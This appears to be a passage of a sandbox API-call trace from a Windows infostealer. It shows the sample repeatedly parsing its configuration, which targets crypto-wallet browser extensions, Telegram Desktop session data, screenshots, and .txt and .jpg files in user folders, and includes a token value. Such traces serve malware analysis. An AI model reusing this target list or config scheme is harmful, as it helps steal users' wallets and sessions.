returned="\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.845] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.845] LocalFree (hMem=0x6b9720) returned 0x0 [0260.846] LocalFree (hMem=0x6b9c38) returned 0x0 [0260.846] LocalFree (hMem=0x6ba150) returned 0x0 [0260.846] StrStrW (lpFirst="ews_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.846] lstrlenW (lpString="ews_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 566 [0260.846] lstrlenW (lpString="ews_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 566 [0260.846] LocalAlloc (uFlags=0x40, uBytes=0x46c) returned 0x6b9720 [0260.846] lstrlenW (lpString="ews_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 566 [0260.846] LocalAlloc (uFlags=0x40, uBytes=0x46c) returned 0x6b9b98 [0260.846] lstrlenW (lpString="ews_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 566 [0260.846] LocalAlloc (uFlags=0x40, uBytes=0x46c) returned 0x6ba010 [0260.846] StrStrW (lpFirst="ews_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.846] lstrlenW (lpString="ews_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 566 [0260.846] LocalAlloc (uFlags=0x40, uBytes=0x4ec) returned 0x6ba488 [0260.846] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.847] LocalFree (hMem=0x6ba488) returned 0x0 [0260.847] StrStrW (lpFirst="ews_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.847] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.847] LocalFree (hMem=0x6b9720) returned 0x0 [0260.848] LocalFree (hMem=0x6b9b98) returned 0x0 [0260.848] LocalFree (hMem=0x6ba010) returned 0x0 [0260.848] StrStrW (lpFirst="ews_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.848] lstrlenW (lpString="ews_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 487 [0260.848] lstrlenW (lpString="ews_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 487 [0260.848] LocalAlloc (uFlags=0x40, uBytes=0x3ce) returned 0x6b9720 [0260.848] lstrlenW (lpString="ews_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 487 [0260.848] LocalAlloc (uFlags=0x40, uBytes=0x3ce) returned 0x6b9af8 [0260.848] lstrlenW (lpString="ews_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 487 [0260.848] LocalAlloc (uFlags=0x40, uBytes=0x3ce) returned 0x6b9ed0 [0260.848] StrStrW (lpFirst="ews_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.848] lstrlenW (lpString="ews_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 487 [0260.848] LocalAlloc (uFlags=0x40, uBytes=0x44e) returned 0x6ba2a8 [0260.848] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.849] LocalFree (hMem=0x6ba2a8) returned 0x0 [0260.849] StrStrW (lpFirst="ews_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.849] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.849] LocalFree (hMem=0x6b9720) returned 0x0 [0260.850] LocalFree (hMem=0x6b9af8) returned 0x0 [0260.850] LocalFree (hMem=0x6b9ed0) returned 0x0 [0260.850] StrStrW (lpFirst="ews_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.850] lstrlenW (lpString="scrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 389 [0260.850] lstrlenW (lpString="scrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 389 [0260.850] LocalAlloc (uFlags=0x40, uBytes=0x30a) returned 0x6b9720 [0260.850] lstrlenW (lpString="scrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 389 [0260.850] LocalAlloc (uFlags=0x40, uBytes=0x30a) returned 0x6b9a38 [0260.850] lstrlenW (lpString="scrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 389 [0260.850] LocalAlloc (uFlags=0x40, uBytes=0x30a) returned 0x6b9d50 [0260.850] StrStrW (lpFirst="scrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.850] lstrlenW (lpString="scrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 389 [0260.850] LocalAlloc (uFlags=0x40, uBytes=0x38a) returned 0x6ba068 [0260.850] StrCpyW (in: psz1=0x6b9720, psz2="scrnsht" | out: psz1="scrnsht") returned="scrnsht" [0260.851] LocalFree (hMem=0x6ba068) returned 0x0 [0260.851] StrStrW (lpFirst="scrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.851] lstrcmpiW (lpString1="scrnsht", lpString2="libs") returned 1 [0260.851] LocalFree (hMem=0x6b9720) returned 0x0 [0260.852] LocalFree (hMem=0x6b9a38) returned 0x0 [0260.852] LocalFree (hMem=0x6b9d50) returned 0x0 [0260.852] StrStrW (lpFirst="scrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.852] lstrlenW (lpString="tlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 363 [0260.852] lstrlenW (lpString="tlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 363 [0260.852] LocalAlloc (uFlags=0x40, uBytes=0x2d6) returned 0x6b9720 [0260.852] lstrlenW (lpString="tlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 363 [0260.852] LocalAlloc (uFlags=0x40, uBytes=0x2d6) returned 0x6b9a00 [0260.852] lstrlenW (lpString="tlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 363 [0260.852] LocalAlloc (uFlags=0x40, uBytes=0x2d6) returned 0x6b9ce0 [0260.852] StrStrW (lpFirst="tlgrm_Telegram:Telegram 